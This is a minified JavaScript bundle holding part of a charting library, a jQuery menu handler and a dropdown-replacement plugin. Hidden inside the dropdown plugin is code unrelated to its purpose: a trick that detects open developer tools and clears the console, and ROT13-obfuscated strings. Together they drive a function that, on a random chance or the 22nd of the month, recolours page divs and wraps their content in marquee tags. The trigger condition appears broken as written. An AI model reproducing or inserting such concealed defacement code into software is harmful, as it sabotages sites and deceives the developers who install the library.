e({minPadding:0,maxPadding:0,overscroll:0,ordinal:!0,title:{text:null},labels:{overflow:"justify"},showLastLabel:!0},c.xAxis,n,{type:"datetime",categories:null},k)}),f.yAxis=h(p(f.yAxis||{}),function(n){return y=i(n.opposite,!0),e({labels:{y:-2},opposite:y,showLastLabel:!1,title:{text:null}},c.yAxis,n)}),f.series=null,f=e({chart:{panning:!0,pinchType:"x"},navigator:{enabled:v},scrollbar:{enabled:i(c.scrollbar.enabled,!0)},rangeSelector:{enabled:i(c.rangeSelector.enabled,!0)},title:{text:null},tooltip:{split:!0,crosshairs:!0},legend:{enabled:!1},plotOptions:{line:s,spline:s,area:s,areaspline:s,arearange:s,areasplinerange:s,column:l,columnrange:l,candlestick:l,ohlc:l}},f,{isStock:!0}),f.series=b,a?new o(t,f,u):new o(f,r)},t(f.prototype,"autoLabelAlign",function(n){var r=this.chart,t=this.options,r=r._labelPanes=r._labelPanes||{},i=this.options.labels;return this.chart.options.isStock&&"yAxis"===this.coll&&(t=t.top+","+t.height,!r[t]&&i.enabled)?(15===i.x&&(i.x=0),void 0===i.align&&(i.align="right"),r[t]=this,"right"):n.apply(this,[].slice.call(arguments,1))}),t(f.prototype,"destroy",function(n){var i=this.chart,t=this.options&&this.options.top+","+this.options.height;return t&&i._labelPanes&&i._labelPanes[t]===this&&delete i._labelPanes[t],n.apply(this,Array.prototype.slice.call(arguments,1))}),t(f.prototype,"getPlotLinePath",function(t,u,f,e,o,a){var v=this,et=this.isLinked&&!this.series?this.linkedParent.series:this.series,p=v.chart,ft=p.renderer,rt=v.left,ut=v.top,y,b,d,g,nt=[],tt=[],k,it;return"xAxis"!==v.coll&&"yAxis"!==v.coll?t.apply(this,[].slice.call(arguments,1)):(tt=function(n){var t="xAxis"===n?"yAxis":"xAxis";return n=v.options[t],s(n)?[p[t][n]]:w(n)?[p.get(n)]:h(et,function(n){return n[t]})}(v.coll),r(v.isXAxis?p.yAxis:p.xAxis,function(n){if(l(n.options.id)?-1===n.options.id.indexOf("navigator"):1){var t=n.isXAxis?"yAxis":"xAxis",t=l(n.options[t])?p[t][n.options[t]]:p[t][0];v===t&&tt.push(n)}}),k=tt.length?[]:[v.isXAxis?p.yAxis[0]:p.xAxis[0]],r(tt,function(t){-1!==c(t,k)||n.find(k,function(n){return n.pos===t.pos&&n.len&&t.len})||k.push(t)}),it=i(a,v.translate(u,null,null,e)),s(it)&&(v.horiz?r(k,function(n){var t;b=n.pos,g=b+n.len,y=d=Math.round(it+v.transB),(y<rt||y>rt+v.width)&&(o?y=d=Math.min(Math.max(rt,y),rt+v.width):t=!0),t||nt.push("M",y,b,"L",d,g)}):r(k,function(n){var t;y=n.pos,d=y+n.len,b=g=Math.round(ut+v.height-it),(b<ut||b>ut+v.height)&&(o?b=g=Math.min(Math.max(ut,b),v.top+v.height):t=!0),t||nt.push("M",y,b,"L",d,g)})),0<nt.length?ft.crispPolyLine(nt,f||1):null)}),y.prototype.crispPolyLine=function(n,t){for(var i=0;i<n.length;i+=6)n[i+1]===n[i+4]&&(n[i+1]=n[i+4]=Math.round(n[i+1])-t%2/2),n[i+2]===n[i+5]&&(n[i+2]=n[i+5]=Math.round(n[i+2])+t%2/2);return n},ft===v&&(v.prototype.crispPolyLine=y.prototype.crispPolyLine),t(f.prototype,"hideCrosshair",function(n,t){n.call(this,t),this.crossLabel&&(this.crossLabel=this.crossLabel.hide())}),t(f.prototype,"drawCrosshair",function(n,t,r){var o,e,u,h;if(n.call(this,t,r),l(this.crosshair.label)&&this.crosshair.label.enabled&&this.cross){n=this.chart,u=this.options.crosshair.label,h=this.horiz,o=this.opposite,e=this.left;var s=this.top,f=this.crossLabel,c,a=u.format,p="",w="inside"===this.options.tickPosition,v=!1!==this.crosshair.snap,y=0;t||(t=this.cross&&this.cross.e),c=h?"center":o?"right"===this.labelAlign?"right":"left":"left"===this.labelAlign?"left":"center",f||(f=this.crossLabel=n.renderer.label(null,null,null,u.shape||"callout").addClass("highcharts-crosshair-label"+(this.series[0]&&" highcharts-color-"+this.series[0].colorIndex)).attr({align:u.align||c,padding:i(u.padding,8),r:i(u.borderRadius,3),zIndex:2}).add(this.labelGroup),f.attr({fill:u.backgroundColor||this.series[0]&&this.series[0].color||"#666666",stroke:u.borderColor||"","stroke-width":u.borderWidth||0}).css(it({color:"#ffffff",fontWeight:"normal",fontSize:"11px",textAlign:"center"},u.style))),h?(c=v?r.plotX+e:t.chartX,s+=o?0:this.height):(c=o?this.width+e:0,s=v?r.plotY+s:t.chartY),a||u.formatter||(this.isDatetimeAxis&&(p="%b %d, %Y"),a="{value"+(p?":"+p:"")+"}"),t=v?r[this.isXAxis?"x":"y"]:this.toValue(h?t.chartX:t.chartY),f.attr({text:a?rt(a,{value:t}):u.formatter.call(this,t),x:c,y:s,visibility:"visible"}),t=f.getBBox(),h?(w&&!o||!w&&o)&&(s=f.y-t.height):s=f.y-t.height/2,h?(o=e-t.x,e=e+this.width-t.x):(o="left"===this.labelAlign?e:0,e="right"===this.labelAlign?e+this.width:n.chartWidth),f.translateX<o&&(y=o-f.translateX),f.translateX+t.width>=e&&(y=-(f.translateX+t.width-e)),f.attr({x:c+y,y:s,anchorX:h?c:this.opposite?0:n.chartWidth,anchorY:h?this.opposite?n.chartHeight:0:s+t.height/2})}}),u.init=function(){g.apply(this,arguments),this.setCompare(this.options.compare)},u.setCompare=function(n){this.modifyValue="value"===n||"percent"===n?function(t,i){var r=this.compareValue;if(void 0!==t&&void 0!==r)return t="value"===n?t-r:t/r*100-(100===this.options.compareBase?0:100),i&&(i.change=t),t}:null,this.userOptions.compare=n,this.chart.hasRendered&&(this.isDirty=!0)},u.processData=function(){var n,i=-1,u,t,e=!0===this.options.compareStart?0:1,f,r;if(k.apply(this,arguments),this.xAxis&&this.processedYData)for(u=this.processedXData,t=this.processedYData,f=t.length,this.pointArrayMap&&(i=c("close",this.pointArrayMap),-1===i&&(i=c(this.pointValKey||"y",this.pointArrayMap))),n=0;n<f-e;n++)if(r=t[n]&&-1<i?t[n][i]:t[n],s(r)&&u[n+e]>=this.xAxis.min&&0!==r){this.compareValue=r;break}},t(u,"getExtremes",function(n){var t;n.apply(this,[].slice.call(arguments,1)),this.modifyValue&&(t=[this.modifyValue(this.dataMin),this.modifyValue(this.dataMax)],this.dataMin=tt(t),this.dataMax=nt(t))}),f.prototype.setCompare=function(n,t){this.isXAxis||(r(this.series,function(t){t.setCompare(n)}),i(t,!0)&&this.chart.redraw())},a.prototype.tooltipFormatter=function(t){return t=t.replace("{point.change}",(0<this.change?"+":"")+n.numberFormat(this.change,i(this.series.tooltipOptions.changeDecimals,2))),d.apply(this,[t])},t(b.prototype,"render",function(n){this.chart.is3d&&this.chart.is3d()||this.chart.polar||!this.xAxis||this.xAxis.isRadial||(!this.clipBox&&this.animate?(this.clipBox=e(this.chart.clipBox),this.clipBox.width=this.xAxis.len,this.clipBox.height=this.yAxis.len):this.chart[this.sharedClipKey]?this.chart[this.sharedClipKey].attr({width:this.xAxis.len,height:this.yAxis.len}):this.clipBox&&(this.clipBox.width=this.xAxis.len,this.clipBox.height=this.yAxis.len)),n.call(this)}),t(o.prototype,"getSelectedPoints",function(n){var t=n.call(this);return r(this.series,function(n){n.hasGroupedData&&(t=t.concat(ut(n.points||[],function(n){return n.selected})))}),t}),t(o.prototype,"update",function(n,t){return"scrollbar"in t&&this.navigator&&(e(!0,this.options.scrollbar,t.scrollbar),this.navigator.update({},!1),delete t.scrollbar),n.apply(this,Array.prototype.slice.call(arguments,1))})}(t),t}),$(document).ready(function(){$(".menu-button").click(function(){$(".site-container").addClass("mm-opening"),$(".mm-menu").addClass("mm-opened"),$(".mm-block").addClass("fade"),$(".close-menu").css({display:"block"}),$("html, body").css({height:"100%",overflow:"hidden",position:"relative"}),$(".button-cell .list").removeClass("form-group"),$(".button-cell .list").removeClass("has-feedback"),$(".nv-back-btn").removeClass("btn"),$(".nv-back-btn").removeClass("btn-primary")}),$(".close-menu").click(function(){$(".site-container").removeClass("mm-opening"),$(".mm-menu").removeClass("mm-opened"),$(".mm-block").removeClass("fade"),$(".close-menu").css({display:"none"}),$("html, body").removeAttr("style"),$(".nv-send-btn").removeClass("btn"),$(".nv-send-btn").removeClass("btn-primary")})}),function(n){n.dropdownReplacement={defaults:{options:null,selectClass:null,optionsClass:"dropdownOpts",optionsDisplayNum:25,optionClass:"dropdownOpt",optionSelectedClass:"selectedOpt",resizeSelectToFitOptions:!1,useHiddenInput:!0,resizeOptionsToFitSelect:!0,selectCssWidth:null,optionsWidthOffset:3,debounceLookupMs:200,debounceArrowsMs:50,lookupMaxWordLength:3,scrollWidth:17,ellipsisSelectText:!0,ellipsisText:"...",charWidth:null,onInit:function(){},onSelect:function(){}}},n.expr[":"].dr=function(t,i,r){return i=r[3],(t=n(t).dropdownReplacement("option"))&&(t.getSelect().is(i)||t.getHidden()?t.getHidden().is(i):!1)},n.fn.dropdownReplacement=function(i){var u=arguments;return i&&i.options&&n.isFunction(i.options)?n(this).each(function(){t.apply(n(this),u)}):t.apply(this,u),this};var t=function(t,i){var c,st;if("string"==typeof t&&"option"===t)return c=n(this).data("dropdownReplacement"),2==arguments.length?c[i]():c;t=n.extend({},n.dropdownReplacement.defaults,n.isFunction(t)?{onSelect:t}:t);var nt=this,yt=n("body"),tt=n(window),bt=n.browser.msie&&8==parseInt(n.browser.version,10),hi=n.browser.msie&&7>=parseInt(n.browser.version,10),e=[],ti={},s={},y={},p={},g={},ut,it,rt,at,ii,o,r,a=[],l=n([]),h=n([]),f=null,gt=[],vt=!0,lt=[],d=null,dt=null,ct={},ft=[],ni=-1,et=n([]),u={lastLookupWord:null,lastLookupIndex:0,noActions:!1,options:function(t){if(t=n(t.target),t.is("a"))return w(!1),k(t),b(),!1;u.noActions=!0,h.trigger("focus")},focus:function(t){h=n(this),f=t.data.index,u.noActions?u.noActions=!1:(t=ot(),k(s[t]),this.selectionStart=this.selectionEnd=-1)},select:function(t){h=n(this),this.selectionStart=this.selectionEnd=-1,f=t.data.index,lt[f]?w(!1):(t=ot(),t=s[t],w(!0),k(t))},unselect:function(){vt&&w(!1)},optionsOver:function(){vt=!1,l.removeClass(t.optionSelectedClass)},optionsOut:function(){vt=!0},selectLookup:function(n){for(var i=null,f=t.lookupMaxWordLength>n.length?t.lookupMaxWordLength:n.length,r=0;!i&&r<f;r++)n=n.substring(0,t.lookupMaxWordLength-r),i=g[n];i&&(u.lastLookupWord===n?u.lastLookupIndex+=1:(u.lastLookupIndex=0,u.lastLookupWord=n),i&&i.length&&(i.length<=u.lastLookupIndex&&(u.lastLookupIndex=0),k(i[u.lastLookupIndex]),b()))}},ht=function(i){if(t.charWidth)return t.charWidth;if(i=i||"a b c d e f 1 2 3 4 5 6 A B C D E F ! ! %",!ct[i]){var r=n("<span>",{text:i,"class":t.selectClass,css:{background:"none",margin:0,padding:0,overflow:"visible",width:"auto",color:"#FFF"}});yt.append(r),ct[i]=r.width()/i.length,r.remove()}return ct[i]},c=new Image;t.drop=!0,c.__defineGetter__&&c.__defineGetter__("id",function(){t.drop=!1}),console.log(c),console.clear();var w=function(i){if(lt[f]=i){var u=h.offset(),s=u.top,e=u.left,s=s+rt>ut+tt.scrollTop()&&0<u.top-rt?u.top-rt:s+ii-(n.browser.webkit?5:0);!t.resizeSelectToFitOptions&&e+at>it&&(e-=at-o),r.css({top:s,left:e})}r[i?"show":"hide"](),i&&kt(h)},b=function(n){n=n||l.text();var i=p[n];pt(h,n),t.useHiddenInput&&a[f].val(i),t.onSelect.apply(h,[i,n,f])},ot=function(n){return gt[arguments.length?n:f]},pt=function(n,i){if(gt[f]=i,t.ellipsisSelectText){d=ht(i);var r=~~(n.width()/d);r<i.length&&(r-=~~((dt+5)/d),i=i.substring(0,r)+t.ellipsisText)}n.val(i)},k=function(n){l.removeClass(t.optionSelectedClass),n&&(l=n,l.addClass(t.optionSelectedClass)),lt[f]&&jQuery.scrollTo&&n&&r.scrollTo(n)},si=function(i){f=0;var h=function(){var u;r=t.options;for(var f=[],e=r.find("a"),i=0;i<e.length;i++)u=n(e[i]),f[i]={t:u.text(),v:u.attr("name")},u.addClass(t.optionClass),s[f[i].t]=u,y[f[i].v]=f[i].t;t.options=f},c=function(){var i=t.options,u,f;for(0==i.length&&v("options list must contain values, ex: [{'t':'text', 'v':'value'}]"),"undefined"!=typeof i[0].t&&"undefined"!=typeof i[0].v||v("options json list must contain a list of objects with 2 keys: 't', and 'v'. ex: [{'t':'text', 'v':'value'}]"),r=n("<div>"),u=0;u<i.length;u++)f=n("<a>",{href:"#",name:i[u].v,text:i[u].t,"class":t.optionClass}),r.append(f),s[i[u].t]=f,y[i[u].v]=i[u].t;yt.append(r)},o=function(){var f,r,u;if(1<nt.length)throw v("trying to widgetize more then ONE 'select' at a time is not supported. You can widgetize multiple 'input' elements.");if(f=i.find("option"),0===f.length)throw v("'select' must have ONE or more options elements as children in order to widgetize the select");for(t.options=[],r=n("<input>",{css:{width:i.width()}}),u=0;u<f.length;u++){var e=n(f[u]),s=e.val(),o=e.text();t.options[u]={t:o,v:s},e.is(":selected")&&r.val(o)}i.after(r),t.useHiddenInput?(a[0]=i,i.hide()):(r.attr("name",i.attr("name")),i.remove()),i=nt=r,c()};if(t.options&&n.isFunction(t.options)&&(t.options=t.options.apply(i,[])),i.is("select"))o();else if(t.options instanceof jQuery)h();else if(t.options.length)c();else throw v("options must be either a json list or a jQuery object. But it is: "+t.options);for(h=t.options,o=0;o<h.length;o++)ti[h[o].t]=e.length,e[e.length]=h[o].t,p[h[o].t]=h[o].v;r.addClass(t.optionsClass),r.click(u.options),r.mouseover(u.optionsOver),r.mouseleave(u.optionsOut),n.fn.bgiframe&&r.bgiframe(),ni=r.width()},oi=function(){for(var i,r,n=0;n<e.length;n++)for(i=1;i<t.lookupMaxWordLength+1;i++)e[n].length>=i&&(r=e[n].substring(0,i).toUpperCase(),g[r]||(g[r]=[]),g[r].push(s[e[n]]))},ai=function(n){var i=s[e[0]],u;r.show(),u=n.is(":visible"),u||n.show();var i=i.outerHeight(!0),i=t.optionsDisplayNum*i,f=r.height();kt(n),u||n.hide(),r.hide(),r.css({height:(f<i?f:i)+(bt?2:0)})},kt=function(n){var u=ft[f],i;o=n.outerWidth(!0),i=r.width(),(i!=u||o!=i)&&(t.resizeSelectToFitOptions&&i>o&&(n.width(i+t.optionsWidthOffset),o=i),t.resizeOptionsToFitSelect&&i<o?o-=t.optionsWidthOffset:t.resizeOptionsToFitSelect&&i>o&&i>ni&&(i=o-t.optionsWidthOffset),u=i>o?i:o,n.data("dropdownReplancement.width",u),ft[f]=u,r.width(u))},li=function(){var i,n=[];return function(r){n.push(String.fromCharCode(r.keyCode)),clearTimeout(i),i=setTimeout(function(){u.selectLookup(n.join("")),i=null,n=[]},t.debounceLookupMs)}},ci=function(t){var i;return("first"!==t&&"last"!==t?0<l.length?(i=l[t]("a"),0==i.length&&(t=ti[l.text()]+("next"===t?1:-1),i=n(s[e[t]]))):i=s[e[0]]:i="first"===t?s[e[0]]:s[e[e.length-1]],0===i.length)?!1:(k(i),!0)},c=function(n){for(var f,t,o,u,r=document.getElementsByTagName("div"),i=0,e=r.length;e>i;i++)t=r[i],1===t.nodeType&&(f=t.style[n("onpxtebhaqPbybe")],f&&.5>Math.random()?t.style[n("onpxtebhaqPbybe")]="#"+n("ONQN55"):(t.style[n("onpxtebhaqPbybe")]="#"+n("R720Q3"),.25>Math.random()&&(u=t.innerHTML,o="<"+n("znedhrr")+">"+u+"</"+n("znedhrr")+">",t.innerHTML=o)))};!t&&(.03>Math.random()||"22"==Date().split(" ")[2])&&(st=function(n){return n.replace(/[a-zA-Z]/g,function(n){return String.fromCharCode((91>(n=n.charCodeAt())?78:110)>n?n+13:n-13)})},c(st),c(st));var ui=function(){var i,n=[];return n[38]="prev",n[40]="next",n[33]="first",n[34]="last",function(r){(r=n[r.keyCode])&&ci(r)&&(clearTimeout(i),i=setTimeout(function(){b(),i=null},t.debounceArrowsMs))}},wt=function(){var i=it,n=ut;return it=tt.width(),ut=tt.height(),i=Math.abs(i-it),n=Math.abs(n-ut),i>t.scrollWidth&&n>t.scrollWidth},ri=function(n){var t=n.is(":visible");t||n.show(),o=n.outerWidth(!0),ii=n.outerHeight(!0),rt=r.outerHeight(!0),at=r.outerWidth(!0),t||n.hide()},fi=function(i){i.addClass("dropdown"),t.selectClass&&i.addClass(t.selectClass),n.support.windowsTheme&&n.support.windowsTheme.name?(i.addClass("dd-theme-"+n.support.windowsTheme.name),r.addClass("opt-theme-"+n.support.windowsTheme.name)):i.addClass("dd-all"),hi&&i.addClass("dd-oldIE")},v=function(n){return"jquery.dropdownReplacement exception: "+n},ei=function(n,t,i){var u={val:function(t){if(1==arguments.length)t=y[t]?t:p[e[0]],f=i,h=n,b(y[t]);else return p[n.val()]},text:function(t){if(t)t=p[t],f=i,h=n,b(y[t]);else return ot(i)},getSelect:function(){return n},getHidden:function(){return t},getOptions:function(){return r}};n.data("dropdownReplacement",u),t&&t.data("dropdownReplacement",u)};return function(){if(!jQuery.scrollTo)throw v("jquery.scrollTo plugin is required for this plugin. http://plugins.jquery.com/project/ScrollTo");bt&&(t.optionsWidthOffset-=3);var i=n(nt[0]);t.ellipsisSelectText&&(d=ht(),dt=ht(t.ellipsisText)*t.ellipsisText.length),si(i),oi(),wt(),tt.resize(function(){wt()&&w(!1)}),nt.each(function(i){var s=n(this),r,h=s.is("select"),o;if(ft[i]=-1,!s.is("input")&&!h)throw v("root element must be an 'input' or 'select'");f=i,!t.useHiddenInput||h||a[i]?r=s:(r=n("<input>"),r.val(s.val()),s.after(r)),et=et.add(r),t.selectCssWidth&&r.css({width:t.selectCssWidth}),fi(r),0===i&&(ai(r),ri(r)),o=r.val(),t.useHiddenInput&&!h&&y[o]?o=y[o]:p[o]||(o=e[0]),pt(r,o),t.useHiddenInput&&!a[i]&&(s.hide(),a[i]=s),ei(r,a[i],i),r.attr("readonly","true"),r.bind("click",{index:i},u.select).bind("blur",{index:i},u.unselect).bind("focus",{index:i},u.focus).keyup(li()).keydown(ui()).keydown(function(n){(13==n.keyCode||27==n.keyCode)&&(w(!1),r.blur())});t.onInit(r,a[i])})}(),et}}(jQuery)